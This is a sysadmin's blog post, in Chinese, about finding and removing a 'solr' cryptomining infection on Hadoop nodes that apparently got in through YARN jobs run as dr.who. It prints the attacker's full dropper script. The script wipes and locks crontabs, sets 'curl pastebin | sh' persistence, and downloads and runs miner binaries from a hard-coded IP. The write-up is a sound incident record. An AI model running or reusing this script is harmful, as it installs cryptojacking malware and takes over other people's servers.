清除挖矿病毒solr记录

问题场景:

周一早上查看grafana,少了三个节点的信息,启动后,发现三个节点的cpu告警,随后节点又挂了。

正常情况下,一般node节点不会挂掉,查看节点hadoop相关进程,一切正常。


问题描述

提示:挖矿病毒solr进程,占用cpu 100%,直接杀掉了node节点,监控不告警。

节点cpu使用率99%:

启动node_exporter

prometheus 节点cpu告警。
原因分析: 

提示:使用top查看

 果然发现异常进程

解决方案:

提示:找到文件路径,并找到定时任务。

1、杀进程,删除文件目录

 2、crontab -e  发现定时执行脚本,注释掉。

#*/5 * * * * curl -fsSL https://pastebin.com/raw/xg546sAd | sh

发现五分钟执行一次,注释掉
 

 3、下载下来看看

#!/bin/sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
ps aux | grep -v grep | grep 'givemexyz' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'dbuse' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'javaupDates' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -I % kill -9 %
killall /tmp/*
killall /tmp/.*
killall /var/tmp/*
killall /var/tmp/.*
pgrep JavaUpdate | xargs -I % kill -9 %
pgrep kinsing | xargs -I % kill -9 %
pgrep donate | xargs -I % kill -9 %
pgrep kdevtmpfsi | xargs -I % kill -9 %
pgrep sysupdate | xargs -I % kill -9 %
pgrep mysqlserver | xargs -I % kill -9 %
chattr -ia /var/spool/cron/root
crontab -r
crontab -l | grep -e "xg546sAd" | grep -v grep
if [ $? -eq 0 ]; then
  echo "cron good"
else
  (
    crontab -l 2>/dev/null
    echo "*/5 * * * * curl -fsSL https://pastebin.com/raw/xg546sAd | sh"
  ) | crontab -
fi
rm -f /tmp/*
rm -f /tmp/.sola
s2=`whoami`
if [ `whoami` = "root" ];
then
    chattr -ia /etc/cron.d/*
    rm -rf /etc/cron.d/*
    chattr -i /var/spool/cron/crontabs/root
    chattr -i /usr/local/bin/dns
    rm -f /etc/cron.hourly/oanacroner
    rm -f /etc/cron.hourly/oanacrona
    rm -f /etc/cron.daily/oanacroner
    rm -f /etc/cron.daily/oanacrona
    rm -f /etc/cron.monthly/oanacroner
    rm -f /usr/local/bin/dns
    rm -f /etc/update.sh
    chattr -ia /etc/hosts
    echo >/etc/hosts
    chattr +ia /etc/hosts
    chattr -i /etc/sysupdate
    rm -f /etc/sysupdate
    rm -f /etc/config.json
    rm -f /var/tmp/kworkerds
    rm -f /usr/bin/.systemcero
    rm -f /usr/bin/cloudupdate
    rm -f /usr/bin/diskmanagerd
    rm -f /lib/libterminfo.so
    rm -f /bin/httpsntp
    rm -f /bin/ftpsntp
    rm -f /var/tmp/jspserv
    rm -f /usr/sbin/cron
    rm -f /usr/bin/kinsing*
    rm -f /etc/cron.d/kinsing*
    rm -f /usr/bin/node
    chattr -isa /var/spool/cron/*
    rm -rf /var/spool/cron/*
    chattr +isa /tmp/xms
    rm -f /var/tmp/kinsing
    chattr -ia /etc/crontab
    echo '*/10 * * * * root curl -fsSL https://pastebin.com/raw/xg546sAd | sh' > /etc/crontab
    chattr +ia /etc/crontab
    chattr -ia /var/spool/cron/root
    chattr -ia /var/spool/cron/crontabs/root
    echo '*/10 * * * * curl -fsSL https://pastebin.com/raw/xg546sAd | bash' >/var/spool/cron/root
    echo '*/10 * * * * curl -fsSL https://pastebin.com/raw/xg546sAd | bash' >/var/spool/cron/crontabs/root
    echo '*/10 * * * * root curl -fsSL https://pastebin.com/raw/xg546sAd | sh' > /etc/cron.d/root
    chattr +ia /var/spool/cron/root
    chattr +ia /etc/cron.d/root
    chattr +ia /var/spool/cron/crontabs/root
else
    ps aux | grep -v 'java\|redis\|weblogic\|mongod\|mysql\|oracle\|tomcat\|grep\|postgres\|atlassian\|awk\|sbin\|WebLogic.sh\|solr\|server\|aux\|httpd\|sh\|sbin|' | grep ${s2:0:7} | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v 'java\|redis\|weblogic\|mongod\|mysql\|oracle\|tomcat\|grep\|postgres\|atlassian\|awk\|sbin\|WebLogic.sh\|solr\|server\|aux\|httpd\|sh\|defunct\|sbin|' | grep $s2 | awk '{print $2}' | xargs -I % kill -9 %
fi
chmod +777 /tmp/*
pkill networkservice
pkill networkser+
pkill watchbog
pkill xmrig
rm -rf /tmp/.solr
mkdir /tmp/.solr
p=$(ps auxf|grep solrd|awk '{if($3>=60.0) print $2}')
name=""$p
if [ -z "$name" ]
then
    pkill solr.sh
    pkill solrd
    ps aux | grep -v grep | grep -v 'java\|redis\|mongod\|mysql\|oracle\|tomcat\|grep\|postgres\|confluence\|awk\|aux\|sh' | awk '{if($3>60.0) print $2}' | xargs -I % kill -9 %
    rm -rf /tmp/.solr
    mkdir /tmp/.solr
    chmod +rwx /tmp/.solr
    curl -fsSL http://45.144.3.216:10000/starrail/config/config.json -o /tmp/.solr/config.json
    curl -fsSL http://45.144.3.216:10000/starrail/cbt2zip/setup.exe -o /tmp/.solr/solrd
    curl -fsSL http://45.144.3.216:10000/solr.sh -o /tmp/.solr/solr.sh
    curl -fsSL http://45.144.3.216:10000/genshin -o /tmp/.solr/genshin
    chmod +x /tmp/.solr/genshin
    chmod +x /tmp/.solr/solrd
    chmod +x /tmp/.solr/solr.sh
    nohup /tmp/.solr/solr.sh &>>/dev/null &
    sleep 10
    rm -f /tmp/.solr/solr.sh
else
    exit
fi

4、病毒清理后,prometheus 告警解除。

 至此,病毒彻底清理。再持续观察几天看看。

后记:2023-02-23通过grafana 查看hadoop集群网卡流量异常,根据经验,应该有yarn任务执行导致,查看hadoop集群任务界面,发现有异常的任务,dr.who用户执行yarn 任务

一般情况下,我们的集群任务是特定用户,比如hadoop,hue,hive,aliyun等,而dr.who是hadoop 集群的默认用户,所以,直接先使用命令杀掉

yarn application -kill application_1667455867992_91447


查看日志:

yarn logs -applicationId application_1667455867992_91447

竟然没有任何日志.

发现这个dr.who用户,在2023年02月17日,2023年02月21日都有执行相同的任务;

查看 grafana node_exporter挂掉的节点近七天的cpu曲线:

yarn 任务的task节点:

正好三台被植入了病毒,致使node_exporter挂掉。

初步得出结论:病毒通过远程执行yarn任务植入task节点,并创建定时任务,定时从网站拉取病毒代码并执行,病毒运行期间,耗费大量的cpu资源,致使node_exporter挂掉,prometheus 不报警。

目前还未查到如何执行的yarn任务,以及yarn任务的脚本,持续跟进,有相关经验的小伙伴也可以一起分享讨论。

病毒真是无孔不入,记得上次有个mar 病毒,清理后没有在发现。今天又发现这个solr病毒,大家在集群运维时也要注意细节,有异常及早发现并处理,避免出现故障。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

冰帆<

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值